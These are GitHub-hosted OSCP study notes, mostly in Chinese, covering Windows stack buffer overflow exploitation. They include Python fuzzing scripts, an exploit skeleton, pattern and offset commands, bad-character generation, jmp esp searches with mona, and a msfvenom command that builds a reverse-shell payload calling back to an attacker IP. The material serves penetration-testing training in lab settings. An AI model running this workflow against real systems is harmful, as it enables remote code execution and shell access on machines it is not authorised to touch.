Skip to content

Latest commit

 

History

History
132 lines (117 loc) · 3.36 KB

OSCP_Windows_Buffer_Overflows.md

File metadata and controls

132 lines (117 loc) · 3.36 KB

Windows Buffer Overflows

Environment

  • Windows Defender 關掉
  • Immunity Debugger
  • !mona config -set workingfolder c:\\mona\\%p
    • mona 是個 Immunity 的 plugin,這個指令先把 working folder 指定好

拿到 binary 以後,放到 windows 機器上面用 immunity 跑起來

Fuzzing the HTTP Protocol

這個是比較穩的,用手動的方式慢慢改 size 去找 crash 在哪裡

#!/usr/bin/env python2
import socket
import time
import sys 

host= '192.168.202.10'
port = 2233 
size = 2400 
junk = 'A' * size 
payload = junk + '\n' 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((host, port)) 
s.send(payload)

或是用自動一點的腳本,一次送一百個 bytes

#!/usr/bin/env python3
import socket, time, sys 

ip = "MACHINE_IP" 
port = 1337 
timeout = 5 
prefix = "" 
string = prefix + "A" * 100 
while True: 
    try: 
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(timeout) 
            s.connect((ip, port)) 
            s.recv(1024) 
            print("Fuzzing with {} bytes".format(len(string) - len(prefix))) 
            s.send(bytes(string, "latin-1")) 
            s.recv(1024) 
    except: 
        print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) 
        sys.exit(0) 
    string += 100 * "A" 
    time.sleep(1)

跑到 exe crash 掉的時候,得到是在多少 bytes 時壞的

Controlling EIP

為了找出確切位置,生成一段可以定位的 payload

msf-pattern_create -l <crash length>

把生出來的那一段放到 script 中 (payload)

import socket

ip = <ip>
port = <port>

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
postfix = "" 
payload = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(buffer + "\n")
  print("Done!")
except:
  print("Could not connect.")

用這一段蓋完以後,得到 EIP 去查位置

msf-pattern_offset -l <crash length> -q <EIP>

就能得到 offset 了

[*] Exact match at offset <offset>

如果送 payload 有失敗的情況,有可能是送出去的 buffer 需要 encode,在 send 的地方可以修改一下 s.send(bytes(buffer + "\r\n", "latin-1"))

Finding Bad Characters

用下面一段 code 來生出一段沒有 null byte 的測試 payload

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

把這段東西塞到 payload 裡面,然後修改 offset 成剛剛我們得出 crash 的地方,觀察 ESP 找出所有的 badchar

Finding a Jump Point

可以用 ROPgadget 找

ROPgadget --binary <exploit.exe>| grep 'jmp esp'

也可以用 mono 找

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
!mona find -s "<bad char>" -m "<dll_name>.dll"

注意格式!用 0x1120110d 這組,放進去的時候要改成 \x0d\x11\x20\x11

Generate Payload

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

用這一串生成 reverse shell 的 payload,塞到 exploit 裡 -e 也有其他選擇,若發生 badchar 多到生不出 payload 的狀況就要換別的試試看

Prepend NOPs

用 NOP 預留點空間

padding = "\x90" * 16

Exploit !